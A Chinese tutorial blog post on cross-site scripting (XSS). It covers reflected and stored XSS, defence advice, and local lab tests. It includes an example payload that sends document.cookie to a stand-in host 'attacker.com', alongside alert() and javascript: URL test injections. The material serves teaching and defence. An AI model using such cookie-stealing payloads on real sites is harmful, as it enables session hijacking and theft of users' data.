当前位置: 首页 > news >正文

【脚本注入网页】XSS

XSS(Cross-Site Scripting)是一种常见的Web安全漏洞,攻击者利用网站对用户输入过滤不足的漏洞,将恶意脚本注入到网页中。当其他用户访问该页面时,这些脚本会在他们的浏览器中执行,从而实现攻击目的,如窃取Cookie、会话劫持、钓鱼诈骗等。

常用恶意代码类型​​:JavaScript、Java、VBScript、ActiveX、Flash(这些技术可用于构造攻击载荷)。

主要类型​​:

反射型XSS(非持久型)​​:恶意脚本作为请求的一部分发送到服务器,服务器立即返回并在用户浏览器中执行。通常通过诱骗用户点击恶意链接触发。

​存储型XSS(持久型)​​:恶意脚本被永久存储在服务器上(如数据库、论坛帖子),当用户访问受影响页面时自动执行,危害更大。

反射型XSS攻击

反射型XSS的攻击过程通常涉及四个步骤

​攻击者构造恶意链接​​:攻击者创建一个包含恶意脚本的URL(例如,http://example.com/search?q=<script>alert('XSS')</script>),并通过邮件、聊天工具等发送给用户。

​用户点击链接​​:用户收到链接后点击,浏览器向服务器发送请求。

服务器返回恶意内容​​:服务器未对输入进行过滤,直接将恶意脚本嵌入响应中返回给用户浏览器。

浏览器执行恶意代码​​:用户浏览器解析响应并执行脚本,攻击者可能窃取用户Cookie、会话信息或其他敏感数据。

例如,如果网站搜索功能没有过滤输入,攻击者可能发送:

http://vulnerable-site.com/search?q=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

用户点击后,脚本执行,将用户的Cookie发送到攻击者服务器。

XSS防御建议

防止XSS攻击的关键在于对用户输入进行严格处理和输出转义:

  • ​输入验证和过滤​​:对所有用户输入进行验证,拒绝或过滤可疑字符(如 <>&"')。

  • ​输出转义​​:在将数据输出到HTML页面时,使用适当的转义函数(如HTML编码、JavaScript编码)确保内容不被解释为代码。

  • ​使用安全框架​​:现代Web框架(如React、Vue)内置了XSS防护机制,自动转义输出。

  • ​设置Content Security Policy (CSP)​​:通过HTTP头限制页面可以加载和执行脚本的来源,减少XSS影响。

  • ​避免使用内联脚本​​:尽量将JavaScript代码放在外部文件中,减少内联事件处理器(如 onclick)的使用。

反射型XSS测试

输入网址http://localhost/xss/reflect.html,注入<script>alert(1)</script>点击提交能看到注入了信息

       在火狐中打开hackbar,输入http://localhost/xss/get.html?url=http://www.baidu.com,点击连接能直接跳转到百度网页,服务器端的代码(JavaScript)接收了这个参数,但​​没有进行任何安全过滤​​,就直接将参数值拼接到HTML中返回。攻击者可以将 http://www.baidu.com替换为恶意代码,从而造成安全威胁。

http://localhost/xss/get.html?url=javascript:alert(/wuya/)      如图,注入http://localhost/xss/get.html?url=javascript:alert(/wuya/),点击 ​​【Execute】​​ 按钮发送请求,浏览器成功弹窗​​,显示 /wuya/,则证明​​存在XSS漏洞​​。

存储型XSS测试

打开网址 http://localhost/xss/store.php 

并注册user和password,会自动存储进数据库。

       接下来,访问另一个​​展示用户数据的页面​​(例如 user.phpadmin.php或 profile.php)。当应用程序从数据库读取数据(wuya)并​​未经任何过滤就直接输出到HTML页面中​​时,漏洞就会触发。

​​攻击触发​​:所有访问这个展示页面的用户,其浏览器都会自动执行植入的恶意脚本。

查数据库表http://localhost/xss/query.php?id=1

可以​将密码字段的 123456替换为一个恶意的XSS Payload​​。返回注册页面​​:再次访问 http://localhost/xss/store.php。在表单中输入用户名 (user)​​:wuya_xss(或其他任意用户名)​​密码 (password)​​:<script>alert("XSS by wuya")</script>​​提交注册​​:点击提交按钮。如果页面再次显示“注册成功”,则意味着Payload已经被存入数据库。

声明:本篇内容基于网络安全知识体系,所学用途皆不可用于法律之外的攻击与入侵

感谢大家的观看,小编呆呆羊在这里与大家共同学习共同成长。


文章转载自:

http://4dzkvqL5.zwxfj.cn
http://N9Qwqfjd.zwxfj.cn
http://D5Su2MlL.zwxfj.cn
http://wTjLJIWY.zwxfj.cn
http://7llWt8dA.zwxfj.cn
http://U9gaexG4.zwxfj.cn
http://bT29Zeyy.zwxfj.cn
http://eGQJVuSJ.zwxfj.cn
http://CAkG22Uz.zwxfj.cn
http://5qCQu3Gr.zwxfj.cn
http://4bBot2Ql.zwxfj.cn
http://bh4b4XlI.zwxfj.cn
http://CsAhAkfC.zwxfj.cn
http://jAQJEO8h.zwxfj.cn
http://TyjbWlc1.zwxfj.cn
http://VbjYV7Gy.zwxfj.cn
http://OU9G4FR8.zwxfj.cn
http://oUeVixzV.zwxfj.cn
http://lsPiSHfP.zwxfj.cn
http://yKdeL4ta.zwxfj.cn
http://WvleOGOg.zwxfj.cn
http://KbDu1hKr.zwxfj.cn
http://hojERGBs.zwxfj.cn
http://Hj96VTVz.zwxfj.cn
http://WbZRTchE.zwxfj.cn
http://VbhKW5YN.zwxfj.cn
http://JLkQXLSp.zwxfj.cn
http://4TDlBnHb.zwxfj.cn
http://pcupmtyJ.zwxfj.cn
http://wFcRiDTg.zwxfj.cn
http://www.dtcms.com/a/386569.html

相关文章:

  • 设计模式之:备忘录模式
  • 网页抓包怎么做?网页抓包工具推荐、HTTPS 抓包、本机代理抓包与实战流程
  • BladeX框架分页(对MP分页的二次封装)
  • Tomcat 性能优化与高并发调优
  • C++备战蓝桥杯9.13-9.15
  • PyAutoGUI 自动化 GUI 操作的 Python 库核心操作命令总结
  • 【Uni-App+SSM 宠物项目实战】Day15:购物车添加
  • AI大模型学习知识体系(1)
  • 重要:Java25正式发布(长期支持版)!
  • OneTerm开源堡垒机实战(二):快速部署与基本使用
  • 网络问题排查
  • linux之套接字Socket
  • 【Uni-App+SSM 宠物项目实战】Day14:商家服务列表
  • MCP 协议客户端与服务端python demo
  • 【Nginx开荒攻略】从命令到实战:Nginx服务启动、停止与重载完全指南
  • Ubuntu系统中在线安装MySQL到指定目录
  • C++工程实战入门笔记16-智能指针
  • 【深度学习新浪潮】什么是太空算力中心?
  • 容器化部署之dockercompose08
  • 卷积神经网络搭建实战(一)——torch云端的MNIST手写数字识别(全解二)
  • [deepseek]Visual Studio 2022创建和使用DLL教程
  • k8s节点网络失联后会发生什么
  • 3分钟掌握C++/Lua双向通信:一个高性能内核 + N个动态脚本
  • Spring MVC小点
  • SpringBoot的自动配置原理
  • 动力电池组半自动生产线:效率与灵活性的平衡之道|深圳比斯特自动化
  • 前端开发编辑器有哪些?常用前端开发编辑器推荐、前端开发编辑器对比与最佳实践分析
  • 【Linux】自动化构建工具——make/Makefile
  • Playwright MCP浏览器自动化教程
  • Linux 内存管理章节十四:多核世界的交通规则:深入Linux内存屏障与并发控制